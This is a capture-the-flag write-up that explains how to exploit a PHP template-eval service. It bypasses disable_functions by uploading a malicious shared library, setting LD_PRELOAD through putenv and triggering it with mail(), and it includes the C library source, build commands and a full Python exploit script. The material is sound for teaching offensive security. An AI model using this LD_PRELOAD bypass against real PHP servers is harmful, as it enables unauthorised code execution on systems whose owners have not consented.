C'mon See my Vulns

TL;DR

  1. Create library with modified getuid function that will create a file with the flag
  2. Upload library to server
  3. Override environment variable LD_PRELOAD and call mail
  4. Get flag from the file we created

Solution

We are provided with the source of the service, a Dockerfile, the configuration of the service and also an executable to read the flag.

By looking at the src folder, we see 2 files:

  • info.php which only calls phpinfo()
  • index.php which calls eval with a part of our input as argument

Taking a better look at index.php we can see that eval is called on every part of the input that is between double brackets: {{1*2}} is evaluated to 2 and {{phpinfo()}} shows the output of phpinfo (same as making a request to /info.php).

With this information, we could think it would be very easy to call anything we wanted (e.g. exec('/bin/sh')), but, by looking closely at the information we get from phpinfo, we see a disable_functions with many things declared. Almost every function we could think of, cannot be called from PHP, and so our attack surface is decreases a lot. In the line 323 of config/php.ini we can see:

disable_functions = exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,pcntl_exec,expect_popen

Defining a strategy

A lot of functions are disabled for this service, however, fopen, fclose and fwrite aren't, so we can create arbitrary files in the server. chmod is also not blacklisted so we can change permissions on files we own.

With these 4 functions we can upload a binary to the server and make it executable, but it leaves us with a problem: we cannot execute it!

Well, by taking a closer look at the disabled functions, we see that mail is not in there, and what is curious about this function is that it calls the sendmail binary. A problem arises now: we can't be sure sendmail is present in the server since on the Dockerfile it wasn't. To confirm this, I tried sending a\n{{mail("a", "b", "c")}} both locally and remotely and locally and there was a difference: locally it returned right away while in the server it hang, so we can conclude that sendmail is present on the server. But with this, the problem persists: we still can't execute a file uploaded by us.

Unless...

Looking again at the disabled functions, we see that putenv is also not blacklisted.

Ok, but what can I do with such a useless function?

Well, after some research, we can find that there is a special variable that holds a list of shared libraries to be loaded all the others (i.e the others). It is LD_PRELOAD. So, if we change the value of this variable and call mail it will use one of our functions and execute our payload.

Now we have everything we need to get our flag. Our strategy will be:

  1. Create a binary which will override some function used by sendmail with one that will create a file with the flag
  2. Upload that binary to the server using fopen, fwrite and fclose (and also base64_decode since base64 is the standard to transfer binary data through the internet)
  3. Make it executable by calling chmod with permissions 0777 (read, write and execute for everyone)
  4. Override the LD_PRELOAD environment variable to use our library
  5. Call mail
  6. STONKS

Creating the library

So, I installed sendmail on the container and also strace to check what functions were being executed so we can override the defaults. From the listed functions from strace sendmail I first chose wait but since it didn't work, I then tried with getuid and succeeded, so we will try to override this function.

This function would call the readflag binary that is placed in /opt (we can see this by looking at the Dockerfile) that would give us root privileges and print the flag before exiting.

One thing that we should account for is that LD_PRELOAD will still apply to our library, and since using it may cause problems we first need to unset it and then execute anything we want.

So the library code goes as follows:

#include <stdlib.h>

int getuid() {
  unsetenv("LD_PRELOAD");
  system("/opt/readflag > flag");
  return 0;
}

NOTE: Since this is a writeup, the name is simplified, obviously during the CTF I changed it to be more complicated for other teams to get it

To compile it as a library, we use the command

gcc -shared -fpic -o <lib> <lib source>

We now need to encode it as base64, so we run the command

base64 -w 0 <lib> > <encoded lib>

Getting the flag

We now need to run the following code to do what we want

$decoded = base64_decode(<encoded lib contents>);
$file = fopen("/var/www/lib.so", "w");
fwrite($file, $decoded);
fclose($file);
chmod("/var/www/lib.so", 0777);
putenv("LD_PRELOAD=/var/www/html/lib.so");
mail("a", "b", "c");

This path is not on purpose, since the base_dir is defined as /var/www/html so PHP can only read and write here.

To get the flag then we should access the /flag endpoint, and it should be CTF-BR{Pwn1ng_'tiL_th3_Z3nd@1337!}.

Since doing this by hand would be difficult, I wrote an exploit that goes like this:

import requests

URL = "http://cmon-see-my-vulns.pwn2win.party:1337"

libname = "/var/www/html/lib.so"

lib = ""
with open("encoded", "r") as f:
  lib = f.read()

data = {
"csv": "1\r\n" + \
"{{eval(\"\\$decoded = base64_decode(\\\"" + lib + "\\\"); \\$file = fopen(\\\"" + libname + "\\\", \\\"w\\\"); fwrite(\\$file, \\$decoded); fclose(\\$file); chmod(\\\"" + libname + "\\\", 0777); putenv(\\\"LD_PRELOAD=" + libname + "\\\"); mail(\\\"a\\\", \\\"b\\\", \\\"c\\\"); return 1;\")}}"
}

try:
  requests.post(URL, data=data, timeout=5)
except:
  pass

print(requests.get(URL + "/flag").text)

That eval is needed since our code is run with eval("return " + our code + ";"), so if we didn't have it, it would just return a part of our code and wouldn't get us the flag.